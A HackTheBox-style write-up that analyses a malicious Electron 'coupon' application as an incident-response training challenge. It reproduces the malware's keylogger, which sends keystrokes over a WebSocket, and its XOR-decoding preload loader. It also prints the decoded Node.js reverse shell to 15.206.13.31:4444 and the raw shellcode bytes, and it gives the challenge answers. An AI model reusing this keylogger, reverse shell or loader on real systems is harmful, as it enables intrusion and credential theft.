



HACKTHEBOX



Prepared by: iamroot

Machine Author(s): iamroot

Difficulty: **Easy**

Scenario

StoreD Technologies' customer support team operates tirelessly around the clock in 24/7 shifts to meet customer needs. During the Diwali season, employees have been receiving genuine discount coupons as part of the celebrations. However, this also presented an opportunity for a threat actor to distribute fake discount coupons via email to infiltrate the organization's network. One of the employees received a suspicious email, triggering alerts for enumeration activities following a potential compromise. The malicious activity was traced back to an unusual process. The Incident Response Team has extracted the malicious binaries and forwarded them to the reverse engineering team for further analysis.

Artefacts Provided

- Windows Binary
- PCAP

Analysis

1. What is the process name of malicious NodeJS application?

From the artifacts provide for the analysis we see that there's an EXE file called 'Electron-Coupon.exe'. Looking at the file name it resembles like a package built using the 'electron-builder'. Extracting the EXE package drops following files:

 app-64.7z	20-10-2024 14:04	Compressed Archive ...	62,258 KB
 nsis7z.dll	20-10-2024 14:04	Application extension	424 KB
 StdUtils.dll	20-10-2024 14:04	Application extension	100 KB
 System.dll	20-10-2024 14:04	Application extension	12 KB

Upon extracting 'app-64.7z', it becomes clear that the process 'Coupon.exe' is responsible for running the malicious Electron application.

 extraResources	20-10-2024 14:04	File folder	
 locales	20-10-2024 14:04	File folder	
 resources	20-10-2024 14:04	File folder	
 chrome_100_percent.pak	20-10-2024 14:04	PAK File	127 KB
 chrome_200_percent.pak	20-10-2024 14:04	PAK File	176 KB
 <u>Coupon.exe</u>	20-10-2024 14:04	Application	1,53,909 KB
 d3dcompiler_47.dll	20-10-2024 14:04	Application extension	4,777 KB
 ffmpeg.dll	20-10-2024 14:04	Application extension	2,703 KB
 icudtl.dat	20-10-2024 14:04	DAT File	10,218 KB
 libEGL.dll	20-10-2024 14:04	Application extension	473 KB
 libGLESv2.dll	20-10-2024 14:04	Application extension	7,359 KB
 LICENSE.electron.txt	20-10-2024 14:04	Text Document	2 KB
 LICENSES.chromium.html	20-10-2024 14:04	Chrome HTML Docu...	6,654 KB
 resources.pak	20-10-2024 14:04	PAK File	5,249 KB
 snapshot_blob.bin	20-10-2024 14:04	BIN File	169 KB
 v8_context_snapshot.bin	20-10-2024 14:04	BIN File	472 KB
 vk_swiftshader.dll	20-10-2024 14:04	Application extension	5,014 KB
 vk_swiftshader_icd.json	20-10-2024 14:04	JSON File	1 KB
 vulkan-1.dll	20-10-2024 14:04	Application extension	894 KB

Answer: Coupon.exe

2. Which option has the attacker enabled in the script to run the malicious Node.js application?

The 'app.asar' file, located inside the 'resource' folder of the 'app-64.7z' package, contains multiple bundled files. We will extract it using the following command:

```
npx @electron/asar extract app.asar
```

```
C:\Users\kartik\OneDrive\Desktop\OPSK1\Analyse\PLUGINS\app-64\resources>npx @electron/asar extract app.asar
Need to install the following packages:
  @electron/asar@3.2.14
Ok to proceed? (y) y
npm WARN deprecated inflight@1.0.6: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if
you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerfu
l.
npm WARN deprecated glob@7.2.3: Glob versions prior to v9 are no longer supported
error: missing required argument 'dest'
npm notice
npm notice New major version of npm available! 8.19.4 -> 10.9.0
npm notice Changelog: https://github.com/npm/cli/releases/tag/v10.9.0
npm notice Run npm install -g npm@10.9.0 to update!
npm notice

C:\Users\kartik\OneDrive\Desktop\OPSK1\Analyse\PLUGINS\app-64\resources>npx @electron/asar extract app.asar
error: missing required argument 'dest'

C:\Users\kartik\OneDrive\Desktop\OPSK1\Analyse\PLUGINS\app-64\resources>npx @electron/asar extract app.asar test

C:\Users\kartik\OneDrive\Desktop\OPSK1\Analyse\PLUGINS\app-64\resources>
```

The above command extracts all the files into the 'test' folder, and its contents are as follows:

extraResources	27-10-2024 14:54	File folder	
node_modules	27-10-2024 14:54	File folder	
public	27-10-2024 14:54	File folder	
build.txt	27-10-2024 14:54	Text Document	1 KB
index.js	27-10-2024 14:54	JSFile	1 KB
package.json	27-10-2024 14:54	JSON File	1 KB

By analyzing the 'index.json' file in a text editor, we found that the attacker has enabled 'nodeIntegration', allowing the execution of Node.js scripts within the application.

```
const { app, BrowserWindow } = require('electron');
const { exec } = require('child_process');
const fs = require('fs');
const path = require('path');

let mainWindow = '';
//const powershell = fs.readFileSync('C:\\Users\\Public\\test.txt', 'utf8', data => data);

function createWindow() {
  mainWindow = new BrowserWindow({ width: 800, height: 600,
    webPreferences: {
      contextIsolation: false,
      nodeIntegration: true,
      nodeIntegrationInWorker: true,
      preload: path.resolve(`${process.resourcesPath}/../extraResources/preload.js`)
    }
  });
  mainWindow.loadFile(`${__dirname}/public/testPage.html`);
  mainWindow.on('closed', () => {
    mainWindow = null;
  });
}
//path.resolve(`${__dirname}/preload.js`)
//fork(powershell);

app.on('ready', createWindow);

app.on('window-all-closed', () => process.platform !== 'darwin' && app.quit());
// re-create a window on mac
app.on('activate', () => mainWindow === null && createWindow());
```

Answer: nodeintegration

3. What protocol and port number is the attacker using to transmit the victim's keystrokes?

The 'index.js' file also reveals that the attacker is loading an HTML file named 'testPage.html':

```

const { app, BrowserWindow } = require('electron');
const { exec } = require('child_process');
const fs = require('fs');
const path = require('path');

let mainWindow = '';
//const powershell = fs.readFileSync('C:\\Users\\Public\\test.txt', 'utf8', data => data);

function createWindow() {
  mainWindow = new BrowserWindow({ width: 800, height: 600,
    webPreferences: {
      contextIsolation: false,
      nodeIntegration: true,
      nodeIntegrationInWorker: true,
      preload: path.resolve(`${process.resourcesPath}/../extraResources/preload.js`)
    }
  });
  mainWindow.loadFile(`${__dirname}/public/testPage.html`);
  mainWindow.on('closed', () => {
    mainWindow = null;
  });
}
//path.resolve(`${__dirname}/preload.js`)
//fork(powershell);

app.on('ready', createWindow);

app.on('window-all-closed', () => process.platform !== 'darwin' && app.quit());
// re-create a window on mac
app.on('activate', () => mainWindow === null && createWindow());

```

The 'testPage.html' file further loads the 'keylogger.js' script, which captures the victim's keystrokes and transmits them to the attacker over port '44500' via a 'WebSocket' connection.

```

<html>
<head>
  <title>Test page</title>
</head>
<body>
  <label>Username</label><br/>
  <input type="text" id="user" name="user"/><br/><br/>
  <label>Password</label><br/>
  <input type="password" id="pass" name="pass"/><br/><br/>
  <button>LOGIN</button>

  <!-- tag to inject -->
  <script type="text/javascript" src="keylogger.js"></script>
  <!-- tag to inject -->

```

```

typeof require === 'undefined';
runShell();

if ("WebSocket" in window)
{
  var socket = new WebSocket("ws://0.0.0.0:44500");
  var all_input_fields = document.getElementsByTagName("input");
  var page_url = document.baseURI;
  var now = Date();

  socket.onopen = function()
  {
    if (all_input_fields.length > 0)
    {
      socket.send("\n\n ----- " + now + " ----- ");
      socket.send("\nURL: " + page_url + "\n");
      var all = "";

      for (var i = 0; i < all_input_fields.length; i++)
      {
        if ((all_input_fields[i].type.toLowerCase() == "text") || (all_input_fields[i].type.toLowerCase() == "password"))
        {
          all_input_fields[i].onfocus = function()
          {
            socket.send("\n#####\n" + this.name + " --> ");
          }

          all_input_fields[i].onkeydown = function(sniffed_key)
          {

```

Answer: websocket, 44500

4. What XOR key is the attacker using to decode the encoded shellcode?

The 'index.js' file also loads a preload script named 'preload.js'.

```

const { app, BrowserWindow } = require('electron');
const { exec } = require('child_process');
const fs = require('fs');
const path = require('path');

let mainWindow = '';
//const powershell = fs.readFileSync('C:\\Users\\Public\\test.txt', 'utf8', data => data);

function createWindow() {
  mainWindow = new BrowserWindow({ width: 800, height: 600,
    webPreferences: {
      contextIsolation: false,
      nodeIntegration: true,
      nodeIntegrationInWorker: true,
      preload: path.resolve(`${process.resourcesPath}/../extraResources/preload.js`)
    }
  });
  mainWindow.loadFile(`${__dirname}/public/testPage.html`);
  mainWindow.on('closed', () => {
    mainWindow = null;
  });
}
//path.resolve(`${__dirname}/preload.js`)
//fork(powershell);

app.on('ready', createWindow);

app.on('window-all-closed', () => process.platform !== 'darwin' && app.quit());
// re-create a window on mac
app.on('activate', () => mainWindow === null && createWindow());

```

Analyzing the logic of this script reveals that the application retrieves the XOR key through an HTTP GET request.

```

typeof require === 'function';

window.runShell = function() {
  var http = require('http');
  var vm = require('vm');
  var fs = require('fs');

  var options = {
    host: '0.0.0.0',
    port: 80,
    path: '/'
  };

  http.get(options, function(res) {
    var body = '';
    res.on('data', function(chunk) {
      body += chunk;
    });
    res.on('end', function() {
      var b64string =
        "xH1VWo9qiVuCNslP4RTAFMw+llWePo5RmD7dFJ57kUGFbIUcZnCfQM43zDnmPsaUzD7AFMx9kBTREpJrNwUjRok2wleEd4xQs26SW497k0fON8w55j7AFMw+wBTMBYU0T6DRMJtkFwbcMg
        Wj30G0lmhRbAPrtpxSxtPsw+wBSaf5IUj3KJUYJqWAnMcIVDzHCFQMjNjleHe5QcxSxtPsw+wBSFoolRgmtOV4Nwj1GPasgA2CrUGMw80QHCLNACw1/TGt8vwhjMeJVaJ2qJW4I2yU/hFMA
        UzD7AFMw+g1lFe45AwM6JRIk2k1zCbZRQhXDJJD+EUwBTMPsaUzD6TXMjtlFCda5QanHeQUcR9jF2JcJQd1xPqFMw+wBTMFsBHhDCTQIh7kbbCbo1E1TaDWIV7jkdFJe0+uZD7AFJE32znmPsa
        UzgytQ1ajhTDF8FzDHFFLxshUKuCoRizGqUcXqj1CUMIPhZz+qRLB3g1WtD49azHiFRoE+g0NbYndgnntFpE3yB3X";

      var str = Buffer.from(b64string, 'base64');
    });
  });
}

```

Since the traffic is HTTP, we will analyze all GET requests in the PCAP file. By expanding the 'Data' section of the packet, we discover that the key used to decrypt the payload is 'ec1ee034ec1ee034'.

The image shows a Wireshark packet capture of an HTTP GET request. The packet list pane shows a GET request to http://15.206.13.31/. The packet details pane shows the request structure, including the URI and file data. The packet bytes pane shows the raw data, with the key 'ec1ee034ec1ee034' highlighted in red.

Answer: ec1ee034ec1ee034

5. What is the IP address, port number and process name encoded in the attacker payload ?

We decrypt the payload within the 'preload.js' file using the script below and find that the payload has been modified to establish an interactive 'cmd.exe' session with '15.206.13.31' over port '4444'.

```
key = 'ec1ee034ec1ee034'

var b64string =
"xHiVwo9qiVuCns1P4RTAFmw+1lWePo5RmD7dFJ57kUGFbIUCznCFQM43zDnmPSAUzD7AFmx9kBTRPpJR
nwuJRok2w1eEd4xQs26SW497k0fON8w55j7AFmw+WBtmBYgu0T6DRMJtkFWbcmGwj3OEGolmhRbAPrtpx
SxtPsw+wBSaf5IUj3KJUyJqWAnMcIVDzHCFQMjNj1eHe5QcxSxtPsw+wBSPcolRgmroV4Nwj1GPasgA2C
rUGMw80QHCLNACwi/TGt8vwhjMeJVaj2qJw4I2yU/hFMAUzD7AFmw+g1iFe45Awm6JRIk2k1zCbZRQhXD
JD+EUwBTMPsAUzD6TXMJt1FCda5QanHeQUcR9jF2JcJQd1xPqFMw+WBTPsBHhDCTQIh7kkbCbo1EiTad
WIV7jkDFJe0+zD7AFJE32znmPSAUzGyFQJ1sjhTDf88PzDHPFLxshUKJcJRHzGqIUCxQj1CJMIpHZH+QR
IB3g1WYd49azHiPROE+g0anByhdgnntPpE3yB3X";

var str = Buffer.from(b64string, 'base64');

let keyBuf = Buffer.from(key, 'hex')
let strBuf = Buffer.from(str, 'hex')
let outBuf = Buffer.alloc(strBuf.length)

for (let n = 0; n < strBuf.length; n++)
    outBuf[n] = strBuf[n] ^ keyBuf[n % keyBuf.length]

console.log(outBuf.toString())
```

```
C:\Users\karti\OneDrive\Desktop\OPSK1\node-reverseshell>node decode.js
(function(){
  var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("cmd.exe", []);
  var client = new net.Socket();
  client.connect(4444, "15.206.13.31", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/; // Prevents the Node.js application from crashing
})();
```

Answer: 15.206.13.31, 4444, cmd.exe

6. What are the two commands the attacker executed after gaining the reverse shell?

We already know that the attacker has established a reverse shell over port '4444'. With this in mind, we will analyze all the traffic in the PCAP file and observe that the attacker executed 'whoami' and 'ipconfig' after successfully connecting.

tcp.port == 4444									
No.	Time	Source	Destination	Protocol	Length	Info			
129	2024-10-21 14:16:34.222890	10.10.0.81	15.206.13.31	TCP	66	51409 → 4444	[SYN]	Seq=0	Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
135	2024-10-21 14:16:34.364524	15.206.13.31	10.10.0.81	TCP	66	4444 → 51409	[SYN, ACK]	Seq=0	Ack=1 Win=62727 Len=0 MSS=1460 SACK_PERM WS=128
136	2024-10-21 14:16:34.364633	10.10.0.81	15.206.13.31	TCP	54	51409 → 4444	[ACK]	Seq=1	Ack=1 Win=262656 Len=0
137	2024-10-21 14:16:34.369076	10.10.0.81	15.206.13.31	TCP	217	51409 → 4444	[PSH, ACK]	Seq=1	Ack=1 Win=262656 Len=163
139	2024-10-21 14:16:34.510506	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=1	Ack=164 Win=62592 Len=0
368	2024-10-21 14:17:44.211137	15.206.13.31	10.10.0.81	TCP	61	4444 → 51409	[PSH, ACK]	Seq=1	Ack=164 Win=62592 Len=7
369	2024-10-21 14:17:44.212538	10.10.0.81	15.206.13.31	TCP	61	51409 → 4444	[PSH, ACK]	Seq=164	Ack=8 Win=262656 Len=7
370	2024-10-21 14:17:44.354384	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=8	Ack=171 Win=62592 Len=0
371	2024-10-21 14:17:44.354447	10.10.0.81	15.206.13.31	TCP	142	51409 → 4444	[PSH, ACK]	Seq=171	Ack=8 Win=262656 Len=88
372	2024-10-21 14:17:44.496136	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=8	Ack=259 Win=62592 Len=0
380	2024-10-21 14:17:48.219810	15.206.13.31	10.10.0.81	TCP	63	4444 → 51409	[PSH, ACK]	Seq=8	Ack=259 Win=62592 Len=9
381	2024-10-21 14:17:48.220084	10.10.0.81	15.206.13.31	TCP	63	51409 → 4444	[PSH, ACK]	Seq=259	Ack=17 Win=262656 Len=9
382	2024-10-21 14:17:48.361643	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=17	Ack=268 Win=62592 Len=0
383	2024-10-21 14:17:48.361721	10.10.0.81	15.206.13.31	TCP	465	51409 → 4444	[PSH, ACK]	Seq=268	Ack=17 Win=262656 Len=411
385	2024-10-21 14:17:48.503849	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=17	Ack=679 Win=62208 Len=0
389	2024-10-21 14:17:49.392823	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[PSH, ACK]	Seq=17	Ack=679 Win=62208 Len=1
390	2024-10-21 14:17:49.393771	10.10.0.81	15.206.13.31	TCP	55	51409 → 4444	[PSH, ACK]	Seq=679	Ack=18 Win=262656 Len=1
392	2024-10-21 14:17:49.535750	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=18	Ack=680 Win=62208 Len=0
▶ Frame 368: 61 bytes on wire (488 bits), 61 bytes captured (488 bits) on interface 0 Ethernet II, Src: VMware_b4:21:66 (00:50:56:b4:21:66), Dst: VMware_b4:06:b6 (00:50:56:00:50:56:b4:06:b6) Internet Protocol Version 4, Src: 15.206.13.31, Dst: 10.10.0.81 Transmission Control Protocol, Src Port: 4444, Dst Port: 51409, Seq: 1, Ack: 164, Len: 7 Data (7 bytes) Data: 77686f616d699a [Length: 7]									

tcp.port == 4444									
No.	Time	Source	Destination	Protocol	Length	Info			
369	2024-10-21 14:17:44.212538	10.10.0.81	15.206.13.31	TCP	61	51409 → 4444	[PSH, ACK]	Seq=164	Ack=8 Win=262656 Len=7
370	2024-10-21 14:17:44.354384	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=8	Ack=171 Win=62592 Len=0
371	2024-10-21 14:17:44.354447	10.10.0.81	15.206.13.31	TCP	142	51409 → 4444	[PSH, ACK]	Seq=171	Ack=8 Win=262656 Len=88
372	2024-10-21 14:17:44.496136	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=8	Ack=259 Win=62592 Len=0
380	2024-10-21 14:17:48.219810	15.206.13.31	10.10.0.81	TCP	63	4444 → 51409	[PSH, ACK]	Seq=8	Ack=259 Win=62592 Len=9
381	2024-10-21 14:17:48.220084	10.10.0.81	15.206.13.31	TCP	63	51409 → 4444	[PSH, ACK]	Seq=259	Ack=17 Win=262656 Len=9
382	2024-10-21 14:17:48.361643	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=17	Ack=268 Win=62592 Len=0
383	2024-10-21 14:17:48.361721	10.10.0.81	15.206.13.31	TCP	465	51409 → 4444	[PSH, ACK]	Seq=268	Ack=17 Win=262656 Len=411
385	2024-10-21 14:17:48.503849	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=17	Ack=679 Win=62208 Len=0
389	2024-10-21 14:17:49.392823	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[PSH, ACK]	Seq=17	Ack=679 Win=62208 Len=1
390	2024-10-21 14:17:49.393771	10.10.0.81	15.206.13.31	TCP	55	51409 → 4444	[PSH, ACK]	Seq=679	Ack=18 Win=262656 Len=1
392	2024-10-21 14:17:49.535750	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=18	Ack=680 Win=62208 Len=0
393	2024-10-21 14:17:49.535822	10.10.0.81	15.206.13.31	TCP	121	51409 → 4444	[PSH, ACK]	Seq=680	Ack=18 Win=262656 Len=67
394	2024-10-21 14:17:49.677499	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=18	Ack=747 Win=62208 Len=0
430	2024-10-21 14:18:01.857183	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[PSH, ACK]	Seq=18	Ack=747 Win=62208 Len=5
431	2024-10-21 14:18:01.858023	10.10.0.81	15.206.13.31	TCP	59	51409 → 4444	[PSH, ACK]	Seq=747	Ack=23 Win=262656 Len=5
432	2024-10-21 14:18:01.867214	10.10.0.81	15.206.13.31	TCP	54	51409 → 4444	[FIN, ACK]	Seq=752	Ack=23 Win=262656 Len=0
433	2024-10-21 14:18:01.999978	15.206.13.31	10.10.0.81	TCP	60	4444 → 51409	[ACK]	Seq=23	Ack=752 Win=62208 Len=0
▶ Frame 380: 63 bytes on wire (504 bits), 63 bytes captured (504 bits) on interface 0 Ethernet II, Src: VMware_b4:21:66 (00:50:56:b4:21:66), Dst: VMware_b4:06:b6 (00:50:56:00:50:56:b4:06:b6) Internet Protocol Version 4, Src: 15.206.13.31, Dst: 10.10.0.81 Transmission Control Protocol, Src Port: 4444, Dst Port: 51409, Seq: 8, Ack: 259, Len: 9 Data (9 bytes) Data: 6970636f666669670a [Length: 9]									

Answer: whoami, ipconfig

7. Which Node.js module and its associated function is the attacker using to execute the shellcode within V8 Virtual Machine contexts?

The 'preload.js' file loads the 'http', 'fs', and 'vm' modules, with the 'vm' module allowing developers to execute code within V8 Virtual Machine contexts. In this instance, the attacker has compiled the script using 'vm.Script' and executed it in a new context using the 'runInNewContext' function.

```

http.get(options, function(res) {
  var body = '';
  res.on('data', function(chunk) {
    body += chunk;
  });
  res.on('end', function() {
    var b64string =
      "xHiVWo9qiVuCnslP4RTAFMw+llWePo5RmD7dFJ57kUGFbIUcZnCFQM43zDnmPsAUzD7AFMx9kBTFRpJrNwUjRok2wleEd4xQs26S6W497k0fONh55j7AFMw+wBTMbYgU0T6DRMjtkFwbcMc
      Wj30EGolmhRbAPrtpxSxtPsw+wBSaf5IUj3KJUYJqWAnMcIVDzHCFQMjNj1eHe5QcxSxtPsw+wBSPoolRgmOV4Nwj1GPasgA2CrUGMw80QHCLNACw1/Tgt8vwHjMeJvAj2qJW4I2yU/hFMF
      UzD7AFMw+glife45Awm6URik2klzCbZQRhXDJd+EUwBTMPsAUzD6TXMjtlFCda5QanHeQUcR9jF2JcJQd1xPgFMw+wBTMPsBHhDCTQih7kbbCbo1EiTaDWIv7jkDFJ0e0+zD7AFJF32znmPsF
      UzGyQ7l9h7lTdf08PzDHFHlXshUKGcJRZGgUcQxQj1CJMjPhZrH+QRIB3g1WYd49azHiPRe0+g0NbYhdgnntPpE3yB3X";

    var str = Buffer.from(b64string, 'base64');

    let keyBuf = Buffer.from(body, 'hex')
    let strBuf = Buffer.from(str, 'hex')
    let outBuf = Buffer.alloc(strBuf.length)

    for (let n = 0; n < strBuf.length; n++)
      outBuf[n] = strBuf[n] ^ keyBuf[n % keyBuf.length]

    //console.log(outBuf.toString())
    var code = outBuf.toString()
    var script = new vm.Script(code);
    var context = vm.createContext({ require: require });

    script.runInNewContext(context);

  });
}).on('error', function(e) {
  console.log("Got error: " + e.message);
});
};

```

Answer: vm, runInNewContext

- Decompile the bytecode file included in the package and identify the Win32 API used to execute the shellcode.

To decompile the compiled bytecode file (JSC), we will use a static analysis tool called 'View8' and execute the following command to perform the decompilation:

```
C:\Users\karti\OneDrive\Desktop\OPSK1\View8-main>python view8.py script.jsc script.txt
Detecting version.
Detected version: 9.4.146.26.
Executing disassembler binary: C:\Users\karti\OneDrive\Desktop\OPSK1\View8-main\Bin\9.4.146.26.exe.
Disassembly completed successfully.
Parsing disassembled file.
Parsing completed successfully.
Decompiling 2 functions.
Exporting to file script.txt.
Done.
```

Examining the logic of the decompiled file, we notice that a Win32 API called 'CreateThread' is being used to execute the shellcode.

```
ACCU = r9["RtlMoveMemory"](r15, r16, r2["length"])
r15 = r1["refType"](r1["types"]["uint32"])
r11 = r1["alloc"](r15)
r14 = r9
r17 = r10
r20 = r11
r12 = r9["CreateThread"](null, 0, r17, null, 0, r20)
r16 = r11["readUInt32LE]()
ACCU = "console"["log"]("thread id:", r16)
ACCU = r9["WaitForSingleObject"](r12, 4294967295.0)
return undefined
```

Answer: CreateThread

- Submit the fake discount coupon that the attacker intended to present to the victim.

The shellcode within the bytecode file has been decompiled into 'Decimal' format.

```
r15 = new [252, 72, 129, 228, 240, 255, 255, 255, 232, 208, 0, 0, 0, 65, 81, 65, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, 96, 62, 72, 139, 82, 24, 62, 72, 139, 82, 32, 62, 72, 139, 114, 80, 62, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, 2, 44, 32, 65, 193, 201, 13, 65, 1, 193, 226, 237, 82, 65, 81, 62, 72, 139, 82, 32, 62, 139, 66, 60, 72, 1, 208, 62, 139, 128, 136, 0, 0, 0, 72, 133, 192, 116, 111, 72, 1, 208, 80, 62, 139, 72, 24, 62, 68, 139, 64, 32, 73, 1, 208, 227, 92, 72, 255, 201, 62, 65, 139, 52, 136, 72, 1, 214, 77, 49, 201, 72, 49, 192, 172, 65, 193, 201, 13, 65, 1, 193, 56, 224, 117, 241, 62, 76, 3, 76, 36, 8, 69, 57, 209, 117, 214, 88, 62, 68, 139, 64, 36, 73, 1, 208, 102, 62, 65, 139, 12, 72, 62, 68, 139, 64, 28, 73, 1, 208, 62, 65, 139, 4, 136, 72, 1, 208, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 62, 72, 139, 18, 233, 73, 255, 255, 255, 93, 62, 72, 141, 141, 32, 1, 0, 0, 65, 186, 76, 119, 38, 7, 255, 213, 73, 199, 193, 0, 0, 0, 62, 72, 141, 149, 14, 1, 0, 0, 62, 76, 141, 133, 25, 1, 0, 0, 72, 49, 201, 65, 186, 69, 131, 86, 7, 255, 213, 72, 49, 201, 65, 186, 240, 181, 162, 86, 255, 213, 67, 79, 85, 80, 79, 78, 49, 51, 51, 55, 0, 80, 65, 87, 78, 69, 68, 0, 117, 115, 101, 114, 51, 50, 46, 100, 108, 108, 0]
r2 = "Buffer"["from"] (r15)
r6 = r1["refType"](r1["types"]["void"])
```

Converting the decimal values back to ASCII reveals the coupon text that the attacker intended to present to the victim, which precedes the word 'PWNED'.

ASCII text

```
üHäðÿÿèDAQAPRVH1ÔeH`>H>H
>HrP>H·JJM1ÉH1À~<a|, AÁÉ
AÁâíRAQ>H>B<HÐ>HÀtoHÐP>H>D@
IÐã\HÿÉ>A4HÖM1ÉH1À-AÁÉ
AÁ8âuñ>L$E9ÑuÖX>D@ $IÐf>AH>D@IÐ>A
HÐDAXAX^YZAXAYAZHì ARÿàXAYZ>Héÿÿÿ>H
A°Lw&ÿÖIÇÁ>H>LH1ÉA°EVÿÖH1ÉA°δμç
VÿÖCOUPON1337PAWNEDuser32.dll
```


Answer: COUPON1337